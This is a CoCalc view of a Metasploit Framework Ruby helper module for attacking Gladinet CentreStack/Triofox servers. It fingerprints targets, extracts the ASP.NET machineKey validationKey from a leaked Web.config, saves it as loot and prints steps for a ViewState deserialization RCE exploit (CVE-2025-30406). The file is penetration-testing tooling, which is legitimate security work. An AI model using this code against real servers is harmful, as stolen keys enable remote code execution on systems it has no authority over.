Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/core/auxiliary/gladinet.rb
31151 views
1
# -*- coding: binary -*-
2
3
##
4
# This module provides shared functionality for Gladinet CentreStack/Triofox modules
5
##
6
module Msf
7
##
8
# Module for shared Gladinet CentreStack/Triofox functionality
9
##
10
module Auxiliary::Gladinet
11
# Exploit module for ViewState deserialization RCE
12
EXPLOIT_MODULE = 'exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406'.freeze
13
14
# Extract machineKey validationKey from Web.config content
15
#
16
# @param content [String] The content of the Web.config file
17
# @return [String, nil] The validationKey in hex format, or nil if not found
18
def extract_machinekey(content)
19
return nil unless content
20
21
# Extract machineKey from Web.config
22
# Pattern: <machineKey ... validationKey="..." ... />
23
# NOTE: The exploit module only needs the validationKey, not the decryptionKey
24
# The regex allows for any attributes before validationKey (e.g., decryption="AES", decryptionKey="...")
25
machinekey_match = content.match(/<machineKey[^>]*validationKey="([^"]+)"/i)
26
return nil unless machinekey_match
27
28
validation_key = machinekey_match[1]
29
30
# Return only validationKey (hex format) as required by the exploit module
31
validation_key
32
end
33
34
# Check if content contains a machineKey
35
#
36
# @param content [String] The content to check
37
# @return [Boolean] True if machineKey is found
38
def contains_machinekey?(content)
39
!extract_machinekey(content).nil?
40
end
41
42
# Extract and save machineKey, then display instructions for RCE exploit
43
#
44
# @param content [String] The content of the Web.config file
45
# @param filepath [String] The file path that was read
46
# @param loot_description [String] Description for the loot file
47
def handle_machinekey_extraction(content, filepath, loot_description = 'MachineKey extracted from Gladinet Web.config')
48
return unless content.include?('machineKey') || filepath.include?('Web.config')
49
50
machinekey = extract_machinekey(content)
51
unless machinekey
52
print_warning('Could not extract machineKey from Web.config')
53
return nil
54
end
55
56
print_good('Extracted machineKey from Web.config')
57
print_line("MachineKey: #{machinekey}")
58
print_line
59
print_good("For RCE: use #{EXPLOIT_MODULE}")
60
print_status('Set the MACHINEKEY option in the exploit module:')
61
print_line("use #{EXPLOIT_MODULE}")
62
print_line("set MACHINEKEY #{machinekey}")
63
64
key_path = store_loot(
65
'gladinet.machinekey',
66
'text/plain',
67
datastore['RHOST'],
68
machinekey,
69
'machinekey.txt',
70
loot_description
71
)
72
print_good("MachineKey saved to: #{key_path}")
73
end
74
75
# Check if target is a Gladinet CentreStack/Triofox installation
76
#
77
# @param response [Rex::Proto::Http::Response] HTTP response from login page
78
# @return [Boolean] True if target appears to be Gladinet
79
def gladinet?(response)
80
return false unless response&.code == 200
81
82
# Check for Gladinet-specific cookies (strong indicator)
83
cookies = response.get_cookies || ''
84
has_glad_cookies = cookies.include?('y-glad-state=') || cookies.include?('y-glad-lsid=') || cookies.include?('y-glad-token=')
85
86
# Check for ViewState generator in body (required for ASP.NET ViewState)
87
has_viewstate = response.body.include?('id="__VIEWSTATEGENERATOR"')
88
89
# Check for Gladinet branding in body
90
has_gladinet_branding = response.body.include?('CentreStack') || response.body.include?('Triofox') || response.body.include?('GLADINET')
91
92
# At least one strong indicator (cookies or ViewState + branding)
93
(has_glad_cookies) || (has_viewstate && has_gladinet_branding)
94
end
95
96
# Detect the application type from response body
97
#
98
# @param body [String] HTTP response body
99
# @return [String] Application type: 'CentreStack', 'Triofox', or 'Unknown'
100
def detect_app_type(body)
101
return 'CentreStack' if body.include?('CentreStack')
102
return 'Triofox' if body.include?('Triofox')
103
104
'Unknown'
105
end
106
107
# Extract build version from response body
108
#
109
# @param body [String] HTTP response body
110
# @return [String, nil] Build version string or nil if not found
111
def extract_build_version(body)
112
build = body.match(/\(Build\s*.*\)/)
113
return nil if build.nil?
114
115
build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')')
116
end
117
118
# Send a GET request to the Gladinet login page and extract version
119
#
120
# @return [String, nil] Build version string or nil if not found
121
def gladinet_version
122
res = send_request_cgi({
123
'method' => 'GET',
124
'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
125
})
126
return nil unless res&.code == 200 && gladinet?(res)
127
128
extract_build_version(res.body)
129
end
130
end
131
end
132
133